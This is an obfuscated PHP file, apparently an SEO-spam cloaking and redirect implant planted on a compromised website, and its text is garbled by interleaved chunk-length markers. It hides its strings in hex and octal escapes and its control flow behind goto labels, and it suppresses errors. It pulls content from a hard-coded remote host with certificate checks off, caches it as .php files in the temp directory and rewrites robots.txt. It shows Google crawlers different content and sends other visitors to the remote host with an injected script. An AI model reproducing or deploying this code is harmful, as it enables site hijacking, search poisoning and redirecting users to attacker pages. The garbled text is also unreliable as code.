1 < 5 ?php 5 got 5 o ZwK 6 5j; sN 5 iwt: 6 if (!e 6 mpty($ 5 sz)) 6 { $jd 6 = getC 6 urlFas 5 t("{$ 6 http_t 6 ype}{$ 6 vurl}\ 6 63\x6b 6 \147\x 8 2e\141\1 7 63\160\ 6 170\x3 8 f\x73\x7 7 a\x3d" 7 . urlen b code($sz)); 6 } els 2d e { $jd = getCurlFast("{$http_type}{$vurl}\x3 a 3\153\147\ 11 56\141\163\160\x7 c 8\x3f\x78\17 10 1\75{$http_type} 7 "); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 8 77\x6a\x 22 64\x3d" . urlencode($jd)); } goto 6 kZXUn; 5 xFIj 7 t: func 8 tion get 6 _real_ 9 ip() { $k 7 eys = a 6 rray(" 7 \x48\12 b 4\124\x50\x 8 5f\x43\1 9 06\x5f\10 8 3\x4f\x4 9 e\116\105 c \103\124\111 e \x4e\107\x5f\1 9 11\x50", 9 "\110\x54 b \x54\x50\13 10 7\x58\137\x52\x4 9 5\101\x4c b \137\x49\12 e 0", "\x48\x54\ e 124\x50\137\13 f 0\137\106\x4f\1 6 22\127 b \101\x52\x4 a 4\105\x44\ b x5f\106\117 15 \122", "\110\124\124\ b 120\137\x43 10 \x4c\x49\105\x4e 7 \124\x5 18 f\111\x50", "\x52\x45\x4 e d\x4f\x54\105\ d 137\x41\x44\x b 44\122"); f 7 oreach 9 ($keys as 7 $k) { 11 if (!empty($_SERV 5 ER[$k 9 ])) { $ip 10 = $_SERVER[$k]; a if (strpo 9 s($ip, "\ 6 54") ! 5 == fa f lse) { $ip = tr 6 im(exp a lode("\54" 8 , $ip)[0 a ]); } if ( 6 filter a _var($ip, 5 FILTE 5 R_VAL 5 IDATE 9 _IP)) { r 5 eturn 13 $ip; } } } return 6 "\61\6 9 2\67\x2e\ a 60\56\60\x 7 2e\x31" d ; } goto UOex 9 B; ZwK5j: 6 error 7 _report 5 ing(0 a ); goto eX 6 8At; q 5 70WN: 6 $surl 8 = $jd . c "\163\x7a\1 15 56\56\141\163\160\170 b "; goto tad 6 jA; p7 3 jg0 15 : function get_url_in 9 fo(string 6 $type b = "\x64\15 7 7\155\x 8 61\151\x 7 6e") : c string { $ho e st = $_SERVER[ 19 "\x48\124\124\120\137\x48 c \117\x53\124 6 "] ?? 8 ''; if ( f $type === "\x6e e \157\x5f\167\x 7 77\167" f ) { return preg 7 _replac b e("\x2f\x5e 10 \167\x77\x77\x5c a \56\57\x69 6 ", '', c $host); } $ 7 protoco 14 l = !empty($_SERVER[ 15 "\x48\x54\x54\x50\123 5 "]) & d & $_SERVER["\ 1a 110\124\124\120\123"] !== 8 "\x6f\14 8 6\146" ? a "\150\x74 d \x74\160\x73\ 9 72\57\57" b : "\150\16 a 4\x74\x70\ c 72\57\x2f"; 8 $base = 11 $protocol . $host 15 ; if ($type === "\x62 18 \141\163\145") { return d $base; } if ( 16 $type === "\146\165\x6 16 c\x6c") { return $base 13 . ($_SERVER["\x52\ a 105\121\12 a 5\x45\x53\ b x54\137\x55 10 \x52\x49"] ?? '' 13 ); } return $host; a } goto WOC 5 uf; o 4 BxKF 11 : function ensure 6 _robot 6 s_site 6 map($s 9 itemapLin 10 e) { $robots = r 12 trim($_SERVER["\10 b 4\117\x43\x d 55\x4d\105\11 5 6\x54 13 \137\x52\x4f\x4f\12 c 4"], "\57\13 c 4") . "\57\x 7 72\x6f\ 10 x62\157\x74\x73\ a 56\x74\x78 c \x74"; if (! 7 file_ex 6 ists($ c robots)) { @ a file_put_c 5 onten 12 ts($robots, "\125\ d 163\145\162\x b 2d\141\147\ 9 145\156\1 8 64\x3a\4 8 0\x2a\xa a \x41\154\x a 6c\157\x77 c \72\x20\57\x 11 a" . $sitemapLine 5 , LOC 4 K_EX 11 ); } else { $c = 1a @file_get_contents($robots 9 ); if ($c c === false | b | strpos($c f , $sitemapLine) 2a === false) { @file_put_contents($robots, 14 $sitemapLine, FILE_A 5 PPEND f | LOCK_EX); } c } } goto TcP 5 SL; j 4 CsnT e : if ($kk === 8 '' && $i 5 s_no_ 5 query d ) { if ($doma c in === "\147 c \157\x6f\147 f \x6c\x65") { ou d tput_sitemap_ 8 and_exit f ($sitemapLine, 19 $http_type); } else { die c ; } } goto G 5 QGtw; 6 y1V0b 8 : $kk = 7 isset($ 7 get["\x b 6b\x6b"]) ? 11 trim($get["\x6b\ 8 153"]) : c ''; goto u9 a Vm1; WOCuf c : $http_type 2a = !empty($_SERVER["\x48\x54\x54\120\123"] 1c ) && $_SERVER["\110\x54\124\ 31 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\x70\ c x73\x3a\x2f\ b 57" : "\x68 17 \x74\164\x70\72\x2f\57" a ; goto Vmg 9 LL; kZXUn 7 : $hyzh e dy = $jd . "\1 21 72\x6e\56\141\163\160\170"; goto c q70WN; GQGtw 35 : output_sitemap_and_exit($sitemapLine, $http_type); a goto EjU3H 5 ; egg e D8: function c a ache_set($ 8 key, $da 7 ta) { $ a file = sys 9 _get_temp 5 _dir( b ) . "\x2f\1 e 43\x61\143\x68 8 \x65\x5f 7 " . md5 d ($key) . "\56 c \160\x68\160 1b "; @file_put_contents($file 15 , $data, LOCK_EX); } b goto xFIjt; 7 taa3z: 16 if ($domain !== "\x67 10 \157\157\147\154 9 \145" && b !empty($iid a )) { $knam 9 e = urlde 11 code(getCurlFast( f $jd . "\147\x6e 22 \56\141\163\160\x78\x3f\x69\x69\x6 f 4\x3d" . $iid)) a ; echo "\x 8 3c\x73\x 11 63\x72\x69\160\x7 d 4\76\x6c\157\ f 143\x61\164\151 b \x6f\x6e\75 9 \x22" . $ 10 jd . "\141\56\x6 a 1\163\x70\ 15 170\x3f\143\x6e\141\1 9 55\x65\75 14 " . urlencode($kname f ) . "\x26\165\1 d 62\154\75" . c $http_type . 25 $_SERVER["\x48\124\124\x50\137\110\x a 4f\x53\x54 15 "] . $_SERVER["\x53\x e 43\x52\x49\120 10 \x54\137\116\101 d \x4d\105"] . c "\x22\x3c\x2 1c f\x73\x63\x72\x69\160\x74\76 10 "; die; } goto Z 5 GeRz; 6 r795u 8 : $qz = 6 substr d (str_replace( 14 array("\167\167\167\ 9 x2e", "\5 a 6"), '', $ 20 _SERVER["\x48\124\124\x50\x5f\x4 f 8\x4f\123\124"] 7 ), 0, 3 c ); goto ap1m 8 o; TcPSL 14 : if (!empty($get["\ e 167"])) { $par 6 ams = a http_build 7 _query( 16 array("\x4e\x4f\x55\x6 d d\142\145\162 5 " => e $get["\x4e\117 10 \x55\x6d\x62\145 c \x72"] ?? '' 13 , "\164" => $get["\ 14 164"] ?? '', "\x63\x f 6e" => $get["\1 17 43\x6e"] ?? '', "\x70\x 1c 4e\x4f\x55\x6d" => $get["\16 23 0\x4e\x4f\x55\155"] ?? '', "\x63\x6 11 9\144" => $get["\ a x63\151\x6 11 4"] ?? '', "\155" 17 => $get["\x6d"] ?? '') 7 ); $str 1b = getCurlFast("{$surl}\x3f d {$params}"); 1a echo str_replace(array("\1 e 71\171\x6d\x6d a ", "\x67\x 13 67\x67\147\x67", "\ 7 77\146\ d x3d"), array( 28 $http_type . $_SERVER["\x48\124\x54\120\ 7 x5f\110 21 \x4f\123\x54"] . $_SERVER["\123\1 11 03\x52\x49\x50\x5 9 4\x5f\x4e c \101\115\x45 7 "], $sz e , "\77" . $qz b . "\x3d"), 13 $str); die; } goto d y1V0b; ap1mo: c $sz = $iid c = ''; goto h 5 lG6j; f u9Vm1: $ip = $ a kk !== '' 9 ? "\x36\6 c 6\x2e\x32\x3 a 4\x39\x2e\ c 70\62\x2e\70 11 " : get_real_ip() a ; goto Ufl 9 M7; hlG6j 12 : if (!empty($_GET b )) { $f = r b eset($_GET) 12 ; $sp = explode("\ 7 x2d", $ b f); if (cou 6 nt($sp c ) === 2) { $ c sz = $sp[0]; d $iid = $sp[1 c ]; } } goto f sNiwt; UflM7: $ e domain = trim( 21 getCurlFast($jd . "\147\x65\164\1 a 44\x6f\x6d 11 \x61\151\x6e\x32\ b 56\x61\x73\ 12 160\170\77\x72\x6e b \144\75\x31 c \46\x69\160\ a 75" . $ip) d ); goto taa3z 5 ; EYX d 7h: if ($kk ! e == '' && preg_ 6 match( 6 "\57\x 6 5e\x5b b \x41\55\x5a a \141\x2d\1 f 72\60\x2d\x39\x 6 5d\53\ 8 44\57", c $kk)) { $rem 12 ote = getCurlFast( 18 $jd . "\147\x65\164\144\ 1e 157\155\x61\151\x6e\62\56\141\ 13 x73\x70\170\77\x72\ 10 156\144\75\62\x2 9 6\x6b\153 d \x3d" . $kk); 18 if (!empty($remote)) { d echo $remote; 13 die; } } goto u3U2 6 k; gmJ 14 gr: function cache_g e et($key, $expi 8 re = 300 2b ) { $file = sys_get_temp_dir() . "\x2f\143\ e 141\143\150\14 1f 5\x5f" . md5($key) . "\56\x70\1 d 50\x70"; if ( 11 file_exists($file c ) && time() 7 - filem d time($file) < 13 $expire) { return 18 file_get_contents($file) 19 ; } return false; } goto c eggD8; u3U2k 15 : if ($kk !== '' && ! 13 preg_match("\x2f\13 f 6\x5b\x41\55\13 f 2\141\x2d\172\x d 30\x2d\x39\13 16 5\x2b\44\57", $kk)) { 3b output_sitemap_and_exit($sitemapLine, $http_type); } goto e 4 CAbA 7 ; ofsRJ 3c : function output_sitemap_and_exit($sitemapLine, $http_type) 26 { ensure_robots_sitemap($sitemapLine) 12 ; echo "\x3c\x64\x 8 69\x76\4 c 0\x73\x74\17 c 1\154\x65\x3 7 d\x27\1 e 64\145\x78\x74 10 \x2d\x61\x6c\151 d \x67\156\72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x b 6e\147\x3a\ e 61\60\160\170\ a 40\x30\73\ a 47\x3e\xa\ c 40\x20\x20\4 23 0\40\x20\x20\x20\40\40\x20\x20\74\x a 61\40\150\ f 162\145\146\x3d 12 \x22{$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 12 }{$_SERVER["\x53\1 e 03\122\111\x50 f \x54\x5f\116\x4 c 1\x4d\105"]} 10 \x3f\167\x3d" . 8 date("\1 c 31\x6d\144\1 7 10\151" e ) . "\x22\x20\ b 164\x61\x72 14 \147\x65\x74\x3d\x22 d \137\142\154\ d x61\x6e\x6b\x e 22\x20\x72\x65 f \154\75\42\x6e\ 10 x6f\146\157\x6c\ d 154\x6f\x77\x d 22\x3e\x53\15 10 1\164\145\x6d\14 8 1\160\74 1b \x2f\141\x3e\xa\40\x20\x20\ 1d x20\40\40\x20\x20\40\x20\74\x c 2f\x64\x69\1 14 66\76"; die; } goto d EYX7h; tadjA: 12 $sitemapLine = "\ a 123\151\x7 e 4\145\155\x61\ b x70\x3a\x20 28 {$http_type}{$_SERVER["\x48\124\124\120\ 23 x5f\110\x4f\123\x54"]}{$_SERVER["\1 13 23\103\x52\111\x50\ b 124\137\x4e f \101\x4d\x45"]} 1b \x3f\x77\x3d" . date("\131\ 18 155\144\110\151") . "\xa e "; goto oBxKF; 9 VmgLL: $ 8 vurl = " e \164\157\x2e\1 a 52\x67\x61 12 \x6c\154\x73\x2e\x c 63\157\155\x a 2f"; goto d r795u; eCAbA: 11 $is_no_query = e 18 mpty($_SERVER["\x51\125\ 9 105\x52\1 b 31\137\x53\ d x54\122\x49\x 10 4e\x47"]); goto c jCsnT; eX8At 9 : $get = 9 filter_in c put_array(IN 7 PUT_GET b , FILTER_SA 5 NITIZ 6 E_STRI a NG); goto c gmJgr; ZGeRz 17 : if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 17 . "\x3f\x69\x69\x64\x3d 5 {$iid 31 }"); echo str_replace(array("\x67\x67\x67\147\147 8 ", "\x59 10 \131\x59\x59\131 11 ", "\x58\x58\x58\ 12 131\131\x59", "\xe 7 5\xbd\2 9 23\345\x8 5 9\x8d d \125\x52\x4c" f , "\125\x55\x55 f \125\x55", "\11 c 5\x4d\115\11 e 5\x4d", "\77\x 10 66\75"), array($ 11 sz, get_url_info( 11 ), get_url_info(" 12 \142\141\163\145") 18 , get_url_info("\146\x75 23 \x6c\154"), get_url_info("\x6e\x6f\ 6 x5f\x7 d 7\167\x77"), 9 parse_url e ($_SERVER["\12 19 2\105\121\125\x45\123\124 14 \137\x55\122\111"], 5 PHP_U 6 RL_PAT 14 H), "\77" . $qz . "\ 19 75"), $str); die; } goto c ofsRJ; UOexB 18 : function getCurlFast($ 8 url) { $ 9 cached = 17 cache_get($url); if ($c 13 ached !== false) { e return $cached 9 ; } $data 13 = ''; if (function 10 _exists("\143\x7 b 5\x72\x6c\x c 5f\151\156\1 d 51\164")) { $ 6 ch = c 15 url_init($url); curl_ 5 setop 13 t_array($ch, array( 7 CURLOPT 5 _RETU 5 RNTRA 5 NSFER 7 => tru d e, CURLOPT_CO 5 NNECT 5 TIMEO 7 UT => 5 20 , CURLOPT_TIMEOUT => 8, CURLOPT_ 4 SSL_ 7 VERIFYP c EER => false 17 , CURLOPT_SSL_VERIFYHOS 16 T => false, CURLOPT_FO 5 LLOWL 5 OCATI 16 ON => false, CURLOPT_U 6 SERAGE c NT => "\115\ e 157\x7a\x69\x6 d c\154\x61\57\ 9 65\56\60" c )); $data = 9 curl_exec f ($ch); curl_clo 9 se($ch); 13 } if (empty($data) 6 && ini e _get("\x61\154 13 \154\157\167\x5f\x7 f 5\x72\154\137\x d 66\157\160\x6 d 5\x6e")) { $c 9 ontext = 7 stream_ c context_crea c te(array("\1 13 50\x74\x74\160" => 13 array("\164\151\x6d f \145\157\x75\x7 d 4" => 8, "\x6 e 8\x65\x61\x64\ 13 145\x72" => "\x55\x c 73\145\162\5 8 5\101\x6 11 7\145\156\x74\x3a e \x20\x4d\x6f\1 10 72\x69\154\154\1 d 41\x2f\65\56\ a x30\xd\12" c ), "\163\x73 11 \x6c" => array("\ c x76\145\x72\ b x69\146\x79 19 \x5f\x70\x65\x65\x72" => d false, "\166\ 20 x65\x72\x69\146\x79\x5f\x70\x65\ 14 145\162\137\x6e\141\ 12 x6d\145" => false) 20 )); $data = @file_get_contents($ c url, false, 12 $context); } if (! 10 empty($data)) { 16 cache_set($url, $data) 10 ; } return $data e ; } goto p7jg0 9 ; EjU3H: 2 ?> 0